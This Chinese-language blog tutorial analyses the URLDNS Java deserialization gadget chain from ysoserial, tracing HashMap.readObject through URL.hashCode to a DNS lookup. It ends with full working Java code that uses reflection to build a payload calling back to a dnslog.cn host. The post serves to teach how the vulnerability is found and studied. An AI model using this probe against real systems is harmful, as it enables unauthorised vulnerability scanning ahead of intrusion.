RULDNS链

URLDNS链优点

  1. 使⽤Java内置的类构造,对第三⽅库没有依赖
  2. 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用链分析

ysoserial 中URLDNS链 , 看这个利用链只涉及两个类HashMapURL

image-20240509090622554

HashMap类

HashMap自己实现了readObject()

image-20240509093642516

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

putVal重新计算了key的hash,跟进hash()(Ctrl+鼠标左键)

image-20240509093734192

代码意思是如果key为null返回0,如果不为null,则调用key的hashCode()

那我们思考,假如有个a类有hashCode()方法,把a类作为hashMap的key,在这里就相当于调用a类的hashCode(),这就是同名函数调用。

URL类

承接上文,URL类中有hashCode()方法,hashCode()被handler调用,handler 又是 URLStreamHandler 的抽象类,我们再去找 URLStreamHandlerhashCode() 方法。

image-20240509102412486

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

hashCode()方法传入一个url,getHostAddress(url)

image-20240509103443938

进入getHostAddress()方法

image-20240509103838469

这段代码意思是获取给定 URL 对象的主机地址。如果主机地址已经缓存过,则直接返回缓存的地址;否则,尝试解析主机名获取主机地址,并缓存结果。在⽹络上其实就是⼀次 DNS 查询。

流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 首先通过HashMap的readObject函数,会调用putVal()函数计算hasHmap的key
1. HashMap -> readObject() -> putVal() -> hash(key)
//hash(Object key)会对key调用hashCode()
2. key.hashCode()
// 如果传入的key 是一个URL对象
3. key = URL url
// 然后会触发URL对象hashcode()
4. url.hashcode()
// 如果hashcode不为-1,就会调用handler的hashcode,并且传入url
5. url.handler.hashcode(url)
// 在handler的hashcode里面会调用getHostAddress,参数是url
6. getHostAddress(url)
// 最后发起一次dns请求
7. dns请求

URLDNS链

参考上面的流程,我们需要创建一个hashMap,在hashMap的key传入url对象,看URL的构造方法,最简单的构造方法直接放入一个url地址就可以

image-20240509145326944

hashMap不直接直接传参,必须用put()方法,put进去。

image-20240509145753562

如果一切顺利的话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 首先通过HashMap的readObject函数,会调用putVal()函数计算hasHmap的key
1. HashMap -> readObject() -> putVal() -> hash(key)
//hash(Object key)会对key调用hashCode()
2. key.hashCode()
// 如果传入的key 是一个URL对象
3. key = URL url
// 然后会触发URL对象hashcode()
4. url.hashcode()
// 如果hashcode不为-1,就会调用handler的hashcode,并且传入url
5. url.handler.hashcode(url)
// 在handler的hashcode里面会调用getHostAddress,参数是url
6. getHostAddress(url)
// 最后发起一次dns请求
7. dns请求

初遇难题

但是我们发现在序列化的时候就已经触发了

image-20240509150138622

跟进hashMapput()方法,发现在put的时候就已经对key进行一次hash()了,触发了URL类的hashCode()方法

image-20240509111302937

image-20240509152432465

我们发现,当 hashCode 的值不等于 -1 的时候,函数就会直接 return hashCode 而不执行 hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode 的值为 -1,便是发起了请求。

image-20240509152449960

解决问题

思路:在put前,使hashCode不等于-1,put后hashCode等于-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

//思路
//HashMap<URL, Object> hashMap = new HashMap<>();
//将hashCOde值改为不是-1,put()的时候就不会发起请求
//URL url = new URL("http://jhc0ym.dnslog.cn");

//hashMap.put(url, 1);
//将hashCode值改为-1

//Serialization(hashMap);

//实现
HashMap<URL, Object> hashMap = new HashMap<>(); //新建一个hashMap
URL url = new URL("http://jhc0ym.dnslog.cn"); //url

Class<? extends URL> c = url.getClass(); //获取一个Class
Field hashCodefile = c.getDeclaredField("hashCode"); //获取hashCode字段
hashCodefile.setAccessible(true); //设置字段访问权限
hashCodefile.set(url, 123); //将hashCode改为123


hashMap.put(url, 1);
hashCodefile.set(url, -1); //put完后改为-1
// Serialization(hashMap);
Deserialization("ser.bin");
}


public static void Serialization(Object obj) throws IOException { //序列化

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);


}

public static void Deserialization(String Filename) throws IOException, ClassNotFoundException { //反序列化

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(Filename));
inputStream.readObject();
}
}


参考链接

为什么hashMap要实现自己的writeObject和readObject方法

Java反序列化基础篇-01-反序列化概念与利用

Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)


RULDNS链
https://sp4rks3.github.io/2024/05/09/JAVA安全/反序列化/URLDNS链/
作者
Sp4rks3
发布于
2024年5月9日
许可协议